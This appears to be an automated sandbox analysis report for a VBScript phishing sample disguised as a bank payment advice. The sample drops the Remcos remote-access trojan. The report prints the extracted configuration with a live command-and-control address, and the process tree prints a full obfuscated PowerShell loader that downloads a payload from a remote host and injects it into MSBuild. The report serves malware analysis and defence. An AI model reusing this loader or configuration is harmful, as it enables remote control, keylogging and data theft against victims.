Analysis
- max time kernel
149s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
08/10/2026, 09:43
General
- Target United Overseas Bank_Payment Advice.pdf.vbs
- Size 72KB
- Sample261008-lp4cfsvvfs
- SHA256 b3a239b2b9f03411808ad477ec8b4bd91e5aeac1af2b0aaff99e448a16520eb3
Malware Config
Extracted
-
remcos
-
7.3.1 Pro
-
RemoteHost
-
216.9.225.162:9746
-
audio_folder
MicRecords
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audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
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connect_interval
1
-
copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
-
install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
-
keylog_folder
remcos
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mouse_option
false
-
mutex
Rmc-0Z23IF
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screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
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screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\United Overseas Bank_Payment Advice.pdf.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command $Tkcv = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyRKY1ZrZi 9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL3JvZHJpYWtkLTg0MTNkLmFwcHNwb3QuY29tL28vZGxsJTJGdGVzdCUyMERMTCUyMHByb2Nlc29zLnR4dD9hbHQ9bWVkaWEmdG9rZW49MmJmNjVkOTYtMWY2Mi00MTllLTllOGMtODNmMj 4NzdhNTNiJy 7JFRJTHNEID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC 7JFpzaXZZID0gJFRJTHNELkRvd25sb2FkU3RyaW5nKC kSmNWa2YgKS 7JFpzaXZZID0gJFpzaXZZLnJlcGxhY2UoJ3x8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8JywgJ0EnKS 7W0J5dGVbXV0gJFFnUlpTID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggJFpzaXZZICkgOyRWQmRlWC 9ICdMb2FkJy 7JGtUeFVYID0gJ0ludm9rZSc7JFFZam1yID0gJG51bGw7JHFNSHdpID0gJyRXcVZKID0gJyd0eHQub28vYXRoL3pkLmVpbmViaXBlLnd3dy8vOicnICsgJydzcHR0JycgKy nJ2gnJy 7Jy 7JHFNSHdpICs9ICdbU3lzdGVtLkFwcERvbWFpbl06OkN1cnJlbnREb21haW4uJy rICRWQmRlWC rICcoICRRZ1JaUy pLicgOyRxTUh3aS rPS nR2V0VHlwZSggJydabUpYcy5MektXbScnICkuJy 7JHFNSHdpICs9ICdHZXRNZXRob2QoICcnV21KWlonJy pLicgKy ka1R4VVggKy nKC kUVlqbXIgLCBbb2JqZWN0W11dICggKC kV3FWSi pICwgJyclZWlScnNleSUnJy sICcnV2luZG93cycnLC nJz xJycsICcnMScnLC nJ2NhY2EnJywgJydDOlxXSU5ET1dTXE1pY3Jvc29mdC5ORVRcRnJhbWV3b3JrXHY0Lj uMz zMTlcTVNCdWlsZC5leGUnJy pICkgOycgO0ludm9rZS1FeHByZXNzaW9uICRxTUh3aS 7';;$bqrfbqrf = [system.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String(($Tkcv -replace ' ','A')));;$bqrfbqrf = ($bqrfbqrf -replace '%eiRrsey%', 'C:\Users\Admin\AppData\Local\Temp\United Overseas Bank_Payment Advice.pdf.vbs');;Invoke-Expression $bqrfbqrf;2⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1800-29-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-30-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-38-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-37-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-36-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-35-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-34-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-33-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-32-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-31-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-21-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-12-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-15-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-17-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-19-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-18-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-28-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-20-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-13-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-22-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1800-23-0x0000000010000000-0x00000000100F7000-memory.dmp
memory/1800-27-0x0000000010000000-0x00000000100F7000-memory.dmp
memory/1800-26-0x0000000010000000-0x00000000100F7000-memory.dmp
memory/2036-1-0x000002A6AC930000-0x000002A6AD2D4000-memory.dmp
memory/2036-0-0x000002A6AD0CC000-0x000002A6AD0CD000-memory.dmp
memory/2036-16-0x000002A6AC930000-0x000002A6AD2D4000-memory.dmp
memory/2036-11-0x000002A6C58F0000-0x000002A6C5906000-memory.dmp
memory/2036-10-0x000002A6C58E0000-0x000002A6C58EE000-memory.dmp
memory/2036-9-0x000002A6AC930000-0x000002A6AD2D4000-memory.dmp
memory/2036-8-0x000002A6AC930000-0x000002A6AD2D4000-memory.dmp
memory/2036-7-0x000002A6AC930000-0x000002A6AD2D4000-memory.dmp
memory/2036-6-0x000002A6AC930000-0x000002A6AD2D4000-memory.dmp
memory/2036-5-0x000002A6AC930000-0x000002A6AD2D4000-memory.dmp
memory/2036-4-0x000002A6C5830000-0x000002A6C5852000-memory.dmp